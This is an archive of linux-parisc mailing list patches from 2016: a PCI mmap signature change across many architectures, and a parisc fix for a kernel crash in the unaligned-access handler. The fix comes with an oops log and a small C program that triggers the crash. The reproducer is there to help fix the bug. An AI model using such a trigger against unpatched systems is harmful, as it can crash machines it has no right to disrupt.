Xref: news.gmane.org gmane.linux.ports.parisc:26832 gmane.linux.kernel.pci:52287 gmane.linux.kernel:2234811 gmane.linux.ports.arm.kernel:503989 gmane.linux.ports.ia64:26854 gmane.linux.ports.mips.general:54967 gmane.linux.ports.ppc64.devel:128097 gmane.linux.ports.sh.devel:54170 gmane.linux.ports.sparc:23026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26832>

This one is preparing patch for next one:
  PCI: Let pci_mmap_page_range() take resource addr

We need to pass extra resource pointer to avoid searching that again
for powerpc and microblaze prot set operation.

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
---
 arch/arm/include/asm/pci.h              | 2 --
 arch/arm/kernel/bios32.c                | 3 ++-
 arch/cris/arch-v32/drivers/pci/bios.c   | 3 ++-
 arch/cris/include/asm/pci.h             | 3 ---
 arch/ia64/include/asm/pci.h             | 2 --
 arch/ia64/pci/pci.c                     | 3 ++-
 arch/microblaze/include/asm/pci.h       | 3 ---
 arch/microblaze/pci/pci-common.c        | 3 ++-
 arch/mips/include/asm/pci.h             | 3 ---
 arch/mips/pci/pci.c                     | 3 ++-
 arch/mn10300/include/asm/pci.h          | 3 ---
 arch/mn10300/unit-asb2305/pci-asb2305.c | 3 ++-
 arch/parisc/include/asm/pci.h           | 3 ---
 arch/parisc/kernel/pci.c                | 3 ++-
 arch/powerpc/include/asm/pci.h          | 3 ---
 arch/powerpc/kernel/pci-common.c        | 3 ++-
 arch/sh/drivers/pci/pci.c               | 3 ++-
 arch/sh/include/asm/pci.h               | 2 --
 arch/sparc/include/asm/pci_64.h         | 4 ----
 arch/sparc/kernel/pci.c                 | 3 ++-
 arch/unicore32/include/asm/pci.h        | 2 --
 arch/unicore32/kernel/pci.c             | 3 ++-
 arch/x86/include/asm/pci.h              | 4 ----
 arch/x86/pci/i386.c                     | 3 ++-
 arch/xtensa/include/asm/pci.h           | 4 ----
 arch/xtensa/kernel/pci.c                | 3 ++-
 drivers/pci/pci-sysfs.c                 | 2 +-
 drivers/pci/pci.h                       | 2 +-
 drivers/pci/proc.c                      | 2 +-
 include/linux/pci.h                     | 6 ++++++
 30 files changed, 35 insertions(+), 54 deletions(-)

diff --git a/arch/arm/include/asm/pci.h b/arch/arm/include/asm/pci.h
index 057d381..51118a0 100644
--- a/arch/arm/include/asm/pci.h
+++ b/arch/arm/include/asm/pci.h
@@ -29,8 +29,6 @@ static inline int pci_proc_domain(struct pci_bus *bus)
 #define PCI_DMA_BUS_IS_PHYS     (1)
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-                               enum pci_mmap_state mmap_state, int write_combine);
 
 static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 {
diff --git a/arch/arm/kernel/bios32.c b/arch/arm/kernel/bios32.c
index 05e61a2..d3245d1 100644
--- a/arch/arm/kernel/bios32.c
+++ b/arch/arm/kernel/bios32.c
@@ -602,7 +602,8 @@ int pcibios_enable_device(struct pci_dev *dev, int mask)
 	return pci_enable_resources(dev, mask);
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	if (mmap_state == pci_mmap_io)
diff --git a/arch/cris/arch-v32/drivers/pci/bios.c b/arch/cris/arch-v32/drivers/pci/bios.c
index 64a5fb9..082efb9 100644
--- a/arch/cris/arch-v32/drivers/pci/bios.c
+++ b/arch/cris/arch-v32/drivers/pci/bios.c
@@ -14,7 +14,8 @@ void pcibios_set_master(struct pci_dev *dev)
 	pci_write_config_byte(dev, PCI_LATENCY_TIMER, lat);
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
index b1b289d..65198cb 100644
--- a/arch/cris/include/asm/pci.h
+++ b/arch/cris/include/asm/pci.h
@@ -42,9 +42,6 @@ struct pci_dev;
 #define PCI_DMA_BUS_IS_PHYS	(1)
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			       enum pci_mmap_state mmap_state, int write_combine);
-
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/ia64/include/asm/pci.h b/arch/ia64/include/asm/pci.h
index c0835b0..6a2f5d8 100644
--- a/arch/ia64/include/asm/pci.h
+++ b/arch/ia64/include/asm/pci.h
@@ -51,8 +51,6 @@ extern unsigned long ia64_max_iommu_merge_mask;
 #define PCI_DMA_BUS_IS_PHYS	(ia64_max_iommu_merge_mask == ~0UL)
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range (struct pci_dev *dev, struct vm_area_struct *vma,
-				enum pci_mmap_state mmap_state, int write_combine);
 #define HAVE_PCI_LEGACY
 extern int pci_mmap_legacy_page_range(struct pci_bus *bus,
 				      struct vm_area_struct *vma,
diff --git a/arch/ia64/pci/pci.c b/arch/ia64/pci/pci.c
index 8f6ac2f..1518d66 100644
--- a/arch/ia64/pci/pci.c
+++ b/arch/ia64/pci/pci.c
@@ -419,7 +419,8 @@ pcibios_align_resource (void *data, const struct resource *res,
 }
 
 int
-pci_mmap_page_range (struct pci_dev *dev, struct vm_area_struct *vma,
+pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+		     struct vm_area_struct *vma,
 		     enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long size = vma->vm_end - vma->vm_start;
diff --git a/arch/microblaze/include/asm/pci.h b/arch/microblaze/include/asm/pci.h
index fc3ecb5..1b93824 100644
--- a/arch/microblaze/include/asm/pci.h
+++ b/arch/microblaze/include/asm/pci.h
@@ -46,9 +46,6 @@ extern int pci_domain_nr(struct pci_bus *bus);
 extern int pci_proc_domain(struct pci_bus *bus);
 
 struct vm_area_struct;
-/* Map a range of PCI memory or I/O space for a device into user space */
-int pci_mmap_page_range(struct pci_dev *pdev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state, int write_combine);
 
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP	1
diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index 14cba60..95146b0 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -304,7 +304,8 @@ pgprot_t pci_phys_mem_access_prot(struct file *file,
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *rp,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	resource_size_t offset =
diff --git a/arch/mips/include/asm/pci.h b/arch/mips/include/asm/pci.h
index 86b239d..71d2c3b 100644
--- a/arch/mips/include/asm/pci.h
+++ b/arch/mips/include/asm/pci.h
@@ -75,9 +75,6 @@ extern void pcibios_set_master(struct pci_dev *dev);
 
 #define HAVE_PCI_MMAP
 
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
-
 #define HAVE_ARCH_PCI_RESOURCE_TO_USER
 
 static inline void pci_resource_to_user(const struct pci_dev *dev, int bar,
diff --git a/arch/mips/pci/pci.c b/arch/mips/pci/pci.c
index f1b11f0..e620333 100644
--- a/arch/mips/pci/pci.c
+++ b/arch/mips/pci/pci.c
@@ -319,7 +319,8 @@ void pcibios_fixup_bus(struct pci_bus *bus)
 EXPORT_SYMBOL(PCIBIOS_MIN_IO);
 EXPORT_SYMBOL(PCIBIOS_MIN_MEM);
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/mn10300/include/asm/pci.h b/arch/mn10300/include/asm/pci.h
index 51159ff..082b6de 100644
--- a/arch/mn10300/include/asm/pci.h
+++ b/arch/mn10300/include/asm/pci.h
@@ -74,9 +74,6 @@ static inline int pci_controller_num(struct pci_dev *dev)
 }
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			       enum pci_mmap_state mmap_state,
-			       int write_combine);
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/mn10300/unit-asb2305/pci-asb2305.c b/arch/mn10300/unit-asb2305/pci-asb2305.c
index b7ab837..40efdc6 100644
--- a/arch/mn10300/unit-asb2305/pci-asb2305.c
+++ b/arch/mn10300/unit-asb2305/pci-asb2305.c
@@ -211,7 +211,8 @@ void __init pcibios_resource_survey(void)
 	pcibios_allocate_resources(1);
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index defebd9..bb9ea90 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -201,7 +201,4 @@ static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 
 #define HAVE_PCI_MMAP
 
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
-
 #endif /* __ASM_PARISC_PCI_H */
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 0903c6a..8d5c34c 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -228,7 +228,8 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
 }
 
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/powerpc/include/asm/pci.h b/arch/powerpc/include/asm/pci.h
index a6f3ac0..662c1ef 100644
--- a/arch/powerpc/include/asm/pci.h
+++ b/arch/powerpc/include/asm/pci.h
@@ -77,9 +77,6 @@ extern int pci_domain_nr(struct pci_bus *bus);
 extern int pci_proc_domain(struct pci_bus *bus);
 
 struct vm_area_struct;
-/* Map a range of PCI memory or I/O space for a device into user space */
-int pci_mmap_page_range(struct pci_dev *pdev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state, int write_combine);
 
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP	1
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 0f7a60f..6720b81 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -445,7 +445,8 @@ pgprot_t pci_phys_mem_access_prot(struct file *file,
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *rp,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	resource_size_t offset =
diff --git a/arch/sh/drivers/pci/pci.c b/arch/sh/drivers/pci/pci.c
index d5462b7..a1bc7ba 100644
--- a/arch/sh/drivers/pci/pci.c
+++ b/arch/sh/drivers/pci/pci.c
@@ -269,7 +269,8 @@ void __init_refok pcibios_report_status(unsigned int status_mask, int warn)
 	}
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	/*
diff --git a/arch/sh/include/asm/pci.h b/arch/sh/include/asm/pci.h
index 644314f..8e0fdb9 100644
--- a/arch/sh/include/asm/pci.h
+++ b/arch/sh/include/asm/pci.h
@@ -66,8 +66,6 @@ extern unsigned long PCIBIOS_MIN_IO, PCIBIOS_MIN_MEM;
 struct pci_dev;
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
 extern void pcibios_set_master(struct pci_dev *dev);
 
 /* Dynamic DMA mapping stuff.
diff --git a/arch/sparc/include/asm/pci_64.h b/arch/sparc/include/asm/pci_64.h
index 022d160..f7a93df 100644
--- a/arch/sparc/include/asm/pci_64.h
+++ b/arch/sparc/include/asm/pci_64.h
@@ -45,10 +45,6 @@ static inline int pci_proc_domain(struct pci_bus *bus)
 #define HAVE_ARCH_PCI_GET_UNMAPPED_AREA
 #define get_pci_unmapped_area get_fb_unmapped_area
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state,
-			int write_combine);
-
 static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 {
 	return PCI_IRQ_NONE;
diff --git a/arch/sparc/kernel/pci.c b/arch/sparc/kernel/pci.c
index c2b202d..86d7dda 100644
--- a/arch/sparc/kernel/pci.c
+++ b/arch/sparc/kernel/pci.c
@@ -862,7 +862,8 @@ static void __pci_mmap_set_pgprot(struct pci_dev *dev, struct vm_area_struct *vm
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state,
 			int write_combine)
 {
diff --git a/arch/unicore32/include/asm/pci.h b/arch/unicore32/include/asm/pci.h
index 37e55d0..a5129086 100644
--- a/arch/unicore32/include/asm/pci.h
+++ b/arch/unicore32/include/asm/pci.h
@@ -17,8 +17,6 @@
 #include <mach/hardware.h> /* for PCIBIOS_MIN_* */
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-	enum pci_mmap_state mmap_state, int write_combine);
 
 #endif /* __KERNEL__ */
 #endif
diff --git a/arch/unicore32/kernel/pci.c b/arch/unicore32/kernel/pci.c
index d45fa5f..ff1b7ef 100644
--- a/arch/unicore32/kernel/pci.c
+++ b/arch/unicore32/kernel/pci.c
@@ -362,7 +362,8 @@ int pcibios_enable_device(struct pci_dev *dev, int mask)
 	return 0;
 }
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long phys;
diff --git a/arch/x86/include/asm/pci.h b/arch/x86/include/asm/pci.h
index 9ab7507..eb87481 100644
--- a/arch/x86/include/asm/pci.h
+++ b/arch/x86/include/asm/pci.h
@@ -88,10 +88,6 @@ int pcibios_set_irq_routing(struct pci_dev *dev, int pin, int irq);
 
 
 #define HAVE_PCI_MMAP
-extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
-			       enum pci_mmap_state mmap_state,
-			       int write_combine);
-
 
 #ifdef CONFIG_PCI
 extern void early_quirks(void);
diff --git a/arch/x86/pci/i386.c b/arch/x86/pci/i386.c
index 0a9f2ca..36463c7 100644
--- a/arch/x86/pci/i386.c
+++ b/arch/x86/pci/i386.c
@@ -411,7 +411,8 @@ static const struct vm_operations_struct pci_mmap_ops = {
 	.access = generic_access_phys,
 };
 
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state, int write_combine)
 {
 	unsigned long prot;
diff --git a/arch/xtensa/include/asm/pci.h b/arch/xtensa/include/asm/pci.h
index 5d6bd93..bb5510b 100644
--- a/arch/xtensa/include/asm/pci.h
+++ b/arch/xtensa/include/asm/pci.h
@@ -46,10 +46,6 @@ struct pci_dev;
 
 #define PCI_DMA_BUS_IS_PHYS	(1)
 
-/* Map a range of PCI memory or I/O space for a device into user space */
-int pci_mmap_page_range(struct pci_dev *pdev, struct vm_area_struct *vma,
-			enum pci_mmap_state mmap_state, int write_combine);
-
 /* Tell drivers/pci/proc.c that we have pci_mmap_page_range() */
 #define HAVE_PCI_MMAP	1
 
diff --git a/arch/xtensa/kernel/pci.c b/arch/xtensa/kernel/pci.c
index b848cc3..89c8687 100644
--- a/arch/xtensa/kernel/pci.c
+++ b/arch/xtensa/kernel/pci.c
@@ -362,7 +362,8 @@ __pci_mmap_set_pgprot(struct pci_dev *dev, struct vm_area_struct *vma,
  *
  * Returns a negative error code on failure, zero on success.
  */
-int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
 			enum pci_mmap_state mmap_state,
 			int write_combine)
 {
diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c
index d319a9c..5bbe20c 100644
--- a/drivers/pci/pci-sysfs.c
+++ b/drivers/pci/pci-sysfs.c
@@ -1027,7 +1027,7 @@ static int pci_mmap_resource(struct kobject *kobj, struct bin_attribute *attr,
 	pci_resource_to_user(pdev, i, res, &start, &end);
 	vma->vm_pgoff += start >> PAGE_SHIFT;
 	mmap_type = res->flags & IORESOURCE_MEM ? pci_mmap_mem : pci_mmap_io;
-	return pci_mmap_page_range(pdev, vma, mmap_type, write_combine);
+	return pci_mmap_page_range(pdev, res, vma, mmap_type, write_combine);
 }
 
 static int pci_mmap_resource_uc(struct file *filp, struct kobject *kobj,
diff --git a/drivers/pci/pci.h b/drivers/pci/pci.h
index a814bbb..7d339c3 100644
--- a/drivers/pci/pci.h
+++ b/drivers/pci/pci.h
@@ -30,7 +30,7 @@ enum pci_mmap_api {
 	PCI_MMAP_PROCFS	/* mmap on /proc/bus/pci/<BDF> */
 };
 int pci_mmap_fits(struct pci_dev *pdev, int resno, struct vm_area_struct *vmai,
-		  enum pci_mmap_api mmap_api);
+		  enum pci_mmap_state mmap_type, enum pci_mmap_api mmap_api);
 #endif
 int pci_probe_reset_function(struct pci_dev *dev);
 
diff --git a/drivers/pci/proc.c b/drivers/pci/proc.c
index 3f155e7..f19ee2a 100644
--- a/drivers/pci/proc.c
+++ b/drivers/pci/proc.c
@@ -245,7 +245,7 @@ static int proc_bus_pci_mmap(struct file *file, struct vm_area_struct *vma)
 	if (i >= PCI_ROM_RESOURCE)
 		return -ENODEV;
 
-	ret = pci_mmap_page_range(dev, vma,
+	ret = pci_mmap_page_range(dev, &dev->resource[i], vma,
 				  fpriv->mmap_state,
 				  fpriv->write_combine);
 	if (ret < 0)
diff --git a/include/linux/pci.h b/include/linux/pci.h
index b67e4df..3c1a0f4 100644
--- a/include/linux/pci.h
+++ b/include/linux/pci.h
@@ -70,6 +70,12 @@ enum pci_mmap_state {
 	pci_mmap_mem
 };
 
+struct vm_area_struct;
+/* Map a range of PCI memory or I/O space for a device into user space */
+int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
+			struct vm_area_struct *vma,
+			enum pci_mmap_state mmap_state, int write_combine);
+
 /*
  *  For PCI devices, the region numbers are assigned this way:
  */
-- 
2.8.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix pagefault crash in unaligned __get_user() call
Date: Sat, 4 Jun 2016 17:21:33 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <20160604152133.GA28597@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465053718 1502 80.91.229.3 (4 Jun 2016 15:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jun 2016 15:21:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 04 17:21:50 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b9DOX-0001Sc-Lq
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jun 2016 17:21:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750957AbcFDPVs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jun 2016 11:21:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54097 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750889AbcFDPVq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jun 2016 11:21:46 -0400
Original-Received: from p100.box ([92.203.52.110]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M1SLt-1bT5pI0Zc9-00tVUG; Sat, 04 Jun 2016 17:21:37
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:2yEqWhweEr+Uspzv+FIWr9ExCmLiS1KSB/izGvGa/OEEE2HfigK
 NNnwDP3xsipyfq/XJ/0wvIxS574l09f+tsbrH6hdbaWAC0x9OUpWOpdF8J61GX5/lq5rZLc
 6QdoiK/cSHx4bmygUCgVDrNS0bRW6Izog6OV7LH74DNrrY0uZ3AL/KSpsZ6SbX33e4h6Uf/
 OR/f8xNGq6sFbMn9n0eXA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Pz4XWNJMw2M=:XdZcXF/cQFli/VdW26nojV
 FO01/YFwt//iPoYH+YbNe2Cinu+s35lsFq9+XgRXfdgzShgpQ107jX3xU8D6yQG/zQdvNyJur
 N8rgmv4JREOlxxZZINYdZiZCJEzopb4edsHJjpUAi3KXVqxGhp5TREi18QwY6eSrGKDdkPAGI
 QAC3A95wWn7yxleUw8JOlqn6MZDdlAArWjfwjAQqeD1V+ZngmdB1R4Ztt2HvH9Rdarje8phYx
 dAKJ16H5Kiy/BTcbNz9OFjZYAZPQIOtGvUKYTrp/1POdqGoakgomVIpz7ePl49woTVTL71atB
 V/28EqrlP+Bd/bNyxTYqZai22nJYQJdV9jQM8YFp+hYcrXLZ7o8pVMAELfqWsKwslWQW8hIta
 Z2FN92dwB0egUE0P7SZFpUUKltVAjPeXfvs9P9dr9PYWC0VWGzg+hwQBigxI7ScXirjPxy5Su
 3oX+j1gwyd9sKLcho5E0nyQ9aLtOSdb9L5UrZ45u4pGR30ivUE2VW0uB4bX8DIrmrjiBtm6Bx
 ThE32kT4Z9PWxibqaWcy5atlnqpemR9hbqiyVBAgm+wvzpEidsq35l8h91LpKZs6ko3Ev90cF
 1fRLSmfPBik+qwbMpSElycSvRPDKCfPVllKmSd5XeF2m39fIOVfxZ17EvG+9Rn0ZEEISj/uU4
 Bwqn/tZYedNpm/WtgzXkkWPqct/nap2+KHJ3SrK1tpU1hSB785wa4XUc+ZbrKdLrsi1dd8suz
 dJjpgKY5sNY6hJ04GmcQeM6lthX/11EO2JcbYz1vm8bXnilEjjqA5zo34L8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26833>

One of the debian buildd servers had this crash in the syslog without
any other information:

 Unaligned handler failed, ret = -2
 clock_adjtime (pid 22578): Unaligned data reference (code 28)
 CPU: 1 PID: 22578 Comm: clock_adjtime Tainted: G  E  4.5.0-2-parisc64-smp #1 Debian 4.5.4-1
 task: 000000007d9960f8 ti: 00000001bde7c000 task.ti: 00000001bde7c000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
 PSW: 00001000000001001111100000001111 Tainted: G            E  
 r00-03  000000ff0804f80f 00000001bde7c2b0 00000000402d2be8 00000001bde7c2b0
 r04-07  00000000409e1fd0 00000000fa6f7fff 00000001bde7c148 00000000fa6f7fff
 r08-11  0000000000000000 00000000ffffffff 00000000fac9bb7b 000000000002b4d4
 r12-15  000000000015241c 000000000015242c 000000000000002d 00000000fac9bb7b
 r16-19  0000000000028800 0000000000000001 0000000000000070 00000001bde7c218
 r20-23  0000000000000000 00000001bde7c210 0000000000000002 0000000000000000
 r24-27  0000000000000000 0000000000000000 00000001bde7c148 00000000409e1fd0
 r28-31  0000000000000001 00000001bde7c320 00000001bde7c350 00000001bde7c218
 sr00-03  0000000001200000 0000000001200000 0000000000000000 0000000001200000
 sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

 IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402d2e84 00000000402d2e88
  IIR: 0ca0d089    ISR: 0000000001200000  IOR: 00000000fa6f7fff
  CPU:        1   CR30: 00000001bde7c000 CR31: ffffffffffffffff
  ORIG_R28: 00000002369fe628
  IAOQ[0]: compat_get_timex+0x2dc/0x3c0
  IAOQ[1]: compat_get_timex+0x2e0/0x3c0
  RP(r2): compat_get_timex+0x40/0x3c0
 Backtrace:
  [<00000000402d4608>] compat_SyS_clock_adjtime+0x40/0xc0
  [<0000000040205024>] syscall_exit+0x0/0x14

This means the userspace program clock_adjtime did call the clock_adjtime()
syscall and then crashed inside the compat_get_timex() function.
Syscalls should never crash programs, but instead return EFAULT.

The IIR register contains the executed instruction, which disassebles
into "ldw 0(sr3,r5),r9".
This load-word instruction is part of __get_user() which tried to read the word
at %r5/IOR (0xfa6f7fff). This means the unaligned handler jumped in.  The
unaligned handler is able to emulate all ldw instructions, but it fails if it
fails to read the source e.g. because of page fault.

The following program reproduces the problem:

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>

int main(void) {
        /* allocate 8k */
        char *ptr = mmap(NULL, 2*4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        /* free second half (upper 4k) and make it invalid. */
        munmap(ptr+4096, 4096);
        /* syscall where first int is unaligned and clobbers into invalid memory region */
        /* syscall should return EFAULT */
        return syscall(__NR_clock_adjtime, 0, ptr+4095);
}

To fix this issue we simply need to check if the faulting instruction address
is in the exception fixup table when the unaligned handler failed. If it
is, call the fixup routine instead of crashing.

While looking at the unaligned handler I found another issue as well: The
target register should not be modified if the handler was unsuccessful.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org

diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index d7c0acb..2b65c01 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -666,7 +665,7 @@ void handle_unaligned(struct pt_regs *regs)
 		break;
 	}
 
-	if (modify && R1(regs->iir))
+	if (ret == 0 && modify && R1(regs->iir))
 		regs->gr[R1(regs->iir)] = newbase;
 
 
@@ -677,6 +676,14 @@ void handle_unaligned(struct pt_regs *regs)
 
 	if (ret)
 	{
+		/*
+		 * The unaligned handler failed.
+		 * If we were called by __get_user() or __put_user() jump
+		 * to it's exception fixup handler instead of crashing.
+		 */
+		if (!user_mode(regs) && fixup_exception(regs))
+			return;
+
 		printk(KERN_CRIT "Unaligned handler failed, ret = %d\n", ret);
 		die_if_kernel("Unaligned data reference", regs, 28);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Move die_if_kernel() prototype into traps.h header
Date: Sat, 4 Jun 2016 17:38:09 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20160604153809.GA28686@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465054713 15572 80.91.229.3 (4 Jun 2016 15:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
